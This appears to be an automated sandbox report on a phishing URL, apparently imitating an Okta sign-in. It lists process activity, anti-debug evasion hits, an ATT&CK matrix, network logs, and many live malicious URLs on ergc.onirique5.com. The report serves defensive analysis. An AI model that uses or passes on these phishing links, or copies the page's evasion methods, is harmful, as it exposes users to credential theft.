
Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.win@25/86@34/15

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,3984154919745250601,11480777820434379077,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2260 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,3984154919745250601,11480777820434379077,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5064 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,3984154919745250601,11480777820434379077,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2260 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,3984154919745250601,11480777820434379077,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5064 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 0.0.d.script.csv, type: HTML
Source: Yara match	File source: 1.13..script.csv, type: HTML
Source: Yara match	File source: 1.6.pages.csv, type: HTML
Source: Yara match	File source: 1.7.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	100%	Avira URL Cloud	malware

Source	Detection	Scanner	Label
https://ergc.onirique5.com/GDSherpa-bold.woff	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/ij38y3sqklHRUOWcyCZrItgSc9nhmpGCRid4sMx4J0opNE9kWxAfCIKX6dtPLVvBp3S5xyz227	100%	Avira URL Cloud	malware
https://dt6mo.kdyukk.ru/kella$okngolxj	0%	Avira URL Cloud	safe
https://ergc.onirique5.com/favicon.ico	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/12AxcSxy8Zd0CW8911	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/GDSherpa-bold.woff2	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/ijrTSB9tguTRT3FiEnWGvF3FUqCxyMuYN7jdimfK608REX812203	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/GDSherpa-vf.woff2	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/st6fndDfLt88Ww239PbZTGRtULptBqBNNb9Kmn4DtRRX2nJzhggEh1NE0ikomRkKCidvnby9jYd6N3ef260	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/ef9kueTswpS1TaKvcMP1ER62reuDuv4jchv0n0ulWVNoazKnFrggEj90141	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/klLwLp7FYs6HUifrwwvF1jvQQfojcwokL6XsklrCfsZnMhex5X3OxzOLwx212	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/uvmvU2eviiQua1XE8tVZ9lojnyopwgkEO2Advvbba5X12130	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/qr1mylxsPMdb1axIIqjl2DRlmnPZZLL9rRa93v267140	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/GDSherpa-regular.woff2	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/op347VQocLux8bJ296y3sGsK0qKDjDkaqzGUesijjEQdpuQn0RocxGscd200	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/wxbbQWVs6P5fRuL5ewLBOWRfK6iCecyM1ZG2n40bopmy2zeL0mh98wpkTrU2f9o90171	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/GDSherpa-vf2.woff2	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/56yZwEPy2q6yngKvKqYcMxCefijCvTOyL7R0VjZkQ4J67110	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/xywrJHwNlpqccd22	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/zcGCRSr1y5xh9VHhh5qllUgtb5S64S6zwqyYXTYydfrtRiGSz4QFgy	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/opfzJagy9bhWoPZE6LdVeKwrAVMdrccdJLFkRMnbyAQstkOy6AKrYsS5G19v6hpABXO7kef240	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/GDSherpa-regular.woff	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/rnaJWF7KKFXVsgOeLw9vbWH8U1gE9cacifCI39n116ExO69	100%	Avira URL Cloud	malware
https://ergc.onirique5.com/kmNcvetzL0K8NZyarX63n7r9a	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
dt6mo.kdyukk.ru	104.21.84.180	true	false	unknown
code.jquery.com	151.101.2.137	true	false	high
developers.cloudflare.com	104.16.6.189	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
github.com	140.82.114.3	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.251.40.196	true	false	high
ergc.onirique5.com	172.67.157.109	true	true	unknown
d19d360lklgih4.cloudfront.net	18.164.124.110	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ergc.onirique5.com/ij38y3sqklHRUOWcyCZrItgSc9nhmpGCRid4sMx4J0opNE9kWxAfCIKX6dtPLVvBp3S5xyz227	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	true		unknown
https://ergc.onirique5.com/favicon.ico	false	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://ergc.onirique5.com/GDSherpa-bold.woff	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/GDSherpa-vf.woff2	false	Avira URL Cloud: malware	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9260d3b3580828c9&lang=auto	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=GJtmfjaOwjVu%2Bxq%2F4AvpLfOofMqGPPKZ8a9ROT8vbWl8eDO4C%2BjQ%2BSoEj6WlKMcthaZiHn1Wxi0dCHWBrxnrSoEu8S9coBZBPSfeKnry47%2F1D6D61MlSk4%2FeWaPi	false		high
https://dt6mo.kdyukk.ru/kella$okngolxj	false	Avira URL Cloud: safe	unknown
https://ergc.onirique5.com/GDSherpa-bold.woff2	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/ef9kueTswpS1TaKvcMP1ER62reuDuv4jchv0n0ulWVNoazKnFrggEj90141	false	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU	false		high
https://ergc.onirique5.com/st6fndDfLt88Ww239PbZTGRtULptBqBNNb9Kmn4DtRRX2nJzhggEh1NE0ikomRkKCidvnby9jYd6N3ef260	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/9260d3b3580828c9/1742931072439/8oOOsJMz5m6_YFC	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/	false		high
https://ergc.onirique5.com/12AxcSxy8Zd0CW8911	false	Avira URL Cloud: malware	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://ergc.onirique5.com/ijrTSB9tguTRT3FiEnWGvF3FUqCxyMuYN7jdimfK608REX812203	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://ergc.onirique5.com/klLwLp7FYs6HUifrwwvF1jvQQfojcwokL6XsklrCfsZnMhex5X3OxzOLwx212	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/uvmvU2eviiQua1XE8tVZ9lojnyopwgkEO2Advvbba5X12130	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/GDSherpa-regular.woff2	false	Avira URL Cloud: malware	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/9260d3b3580828c9/1742931072442/a836546be4359a3b0afab9b29e38398851c8c190ee656f027c4bac33c1ac4dcc/dC1VA6lriOKnjfw	false		high
https://ergc.onirique5.com/GDSherpa-vf2.woff2	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/qr1mylxsPMdb1axIIqjl2DRlmnPZZLL9rRa93v267140	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/xywrJHwNlpqccd22	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/op347VQocLux8bJ296y3sGsK0qKDjDkaqzGUesijjEQdpuQn0RocxGscd200	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/wxbbQWVs6P5fRuL5ewLBOWRfK6iCecyM1ZG2n40bopmy2zeL0mh98wpkTrU2f9o90171	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/56yZwEPy2q6yngKvKqYcMxCefijCvTOyL7R0VjZkQ4J67110	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/zcGCRSr1y5xh9VHhh5qllUgtb5S64S6zwqyYXTYydfrtRiGSz4QFgy	false	Avira URL Cloud: malware	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high
https://ergc.onirique5.com/GDSherpa-regular.woff	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/rnaJWF7KKFXVsgOeLw9vbWH8U1gE9cacifCI39n116ExO69	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/opfzJagy9bhWoPZE6LdVeKwrAVMdrccdJLFkRMnbyAQstkOy6AKrYsS5G19v6hpABXO7kef240	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/kmNcvetzL0K8NZyarX63n7r9a	false	Avira URL Cloud: malware	unknown
https://ergc.onirique5.com/TZQRNFFVFXAWJXL5dy42qoictf4w39ituz8u4t?MYBYNNJAOXEBESVW	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.flipkart.com	chromecache_135.1.dr	false		high
https://github.com/fent)	chromecache_150.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
140.82.114.3	github.com	United States	36459	GITHUBUS	false
172.67.195.178	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.84.180	dt6mo.kdyukk.ru	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
18.164.124.110	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
142.251.40.196	www.google.com	United States	15169	GOOGLEUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
18.164.124.11	unknown	United States	3	MIT-GATEWAYSUS	false
104.16.6.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.67.157.109	ergc.onirique5.com	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1648420
Start date and time:	2025-03-25 20:29:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.evad.win@25/86@34/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.40.174, 142.251.40.227, 142.250.65.206, 172.253.115.84, 142.250.80.14, 142.250.176.206, 142.250.72.110, 199.232.210.172, 142.251.35.174, 142.250.80.46, 142.251.40.110, 142.250.176.202, 142.250.64.74, 142.250.80.74, 142.250.80.106, 142.250.72.106, 142.251.41.10, 142.251.40.234, 142.251.40.138, 142.251.40.202, 142.250.65.202, 142.250.64.106, 142.251.40.170, 142.250.65.170, 142.250.80.10, 172.217.165.138, 142.250.80.42, 142.250.65.238, 142.251.40.195, 142.250.81.238, 142.251.40.238, 142.251.41.3, 34.104.35.123, 4.175.87.197, 20.31.169.57, 150.171.27.10
Excluded domains from analysis (whitelisted): accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, redirector.gvt1.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://ergc.onirique5.com/klLwLp7FYs6HUifrwwvF1jvQQfojcwokL6XsklrCfsZnMhex5X3OxzOLwx212
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 25, 2025 20:30:59.670119047 CET	53	61213	1.1.1.1	192.168.2.5
Mar 25, 2025 20:30:59.811297894 CET	53	64217	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:00.628303051 CET	53	54614	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:03.186458111 CET	60046	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:03.186609983 CET	64090	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:03.294610023 CET	53	64090	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:03.295892954 CET	53	60046	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:05.653357029 CET	61129	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:05.653357029 CET	56363	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:05.775338888 CET	53	61129	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:05.783193111 CET	53	56363	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:07.252315998 CET	49311	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:07.252564907 CET	62438	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:07.258690119 CET	60714	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:07.258690119 CET	61874	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:07.260624886 CET	61167	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:07.261885881 CET	64478	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:07.358477116 CET	53	62438	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:07.358697891 CET	53	49311	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:07.364927053 CET	53	61874	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:07.365499973 CET	53	60714	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:07.366028070 CET	53	61167	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:07.366756916 CET	53	64478	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:08.492969990 CET	55382	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:08.493264914 CET	59685	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:08.604528904 CET	53	59685	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:08.613977909 CET	53	55382	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:09.177753925 CET	54238	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:09.178774118 CET	55364	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:09.288137913 CET	53	54238	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:09.290350914 CET	53	55364	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:09.411199093 CET	65484	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:09.411199093 CET	57588	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:09.524185896 CET	53	65484	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:11.647881985 CET	58232	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:11.648025990 CET	50097	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:11.755311012 CET	53	50097	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:11.755981922 CET	53	58232	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:17.681878090 CET	53	54360	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:19.801167965 CET	49475	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:19.801167965 CET	56357	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:19.916843891 CET	53	49475	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:20.143801928 CET	53	56357	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:21.036659956 CET	61975	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:21.036659956 CET	58124	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:21.148616076 CET	53	58124	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:21.392483950 CET	53	61975	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:22.034220934 CET	49996	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:22.034542084 CET	52730	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:22.154330969 CET	53	49996	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:22.157211065 CET	53	52730	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:23.097881079 CET	59771	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:23.098053932 CET	53227	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:23.209845066 CET	53	53227	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:23.209866047 CET	53	59771	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:24.851697922 CET	59119	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:24.852204084 CET	63176	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:24.855654955 CET	53817	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:24.855782032 CET	65194	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:24.963754892 CET	53	63176	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:24.966504097 CET	53	59119	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:24.968611002 CET	53	65194	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:24.981476068 CET	53	53817	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:25.490030050 CET	57899	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:25.490606070 CET	56021	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:25.602755070 CET	53	57899	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:25.604697943 CET	53	56021	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:25.834968090 CET	60890	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:25.835316896 CET	52809	53	192.168.2.5	1.1.1.1
Mar 25, 2025 20:31:25.973866940 CET	53	52809	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:25.987843990 CET	53	60890	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:32.879004955 CET	53	49382	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:36.803018093 CET	53	58833	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:43.295497894 CET	138	138	192.168.2.5	192.168.2.255
Mar 25, 2025 20:31:59.341547966 CET	53	59144	1.1.1.1	192.168.2.5
Mar 25, 2025 20:31:59.495037079 CET	53	62368	1.1.1.1	192.168.2.5
Mar 25, 2025 20:32:01.761995077 CET	53	52963	1.1.1.1	192.168.2.5

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:06 UTC	692	OUT	GET /xRmONkR9H3tSwgZ6bakdPQM/ HTTP/1.1 Host: ergc.onirique5.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
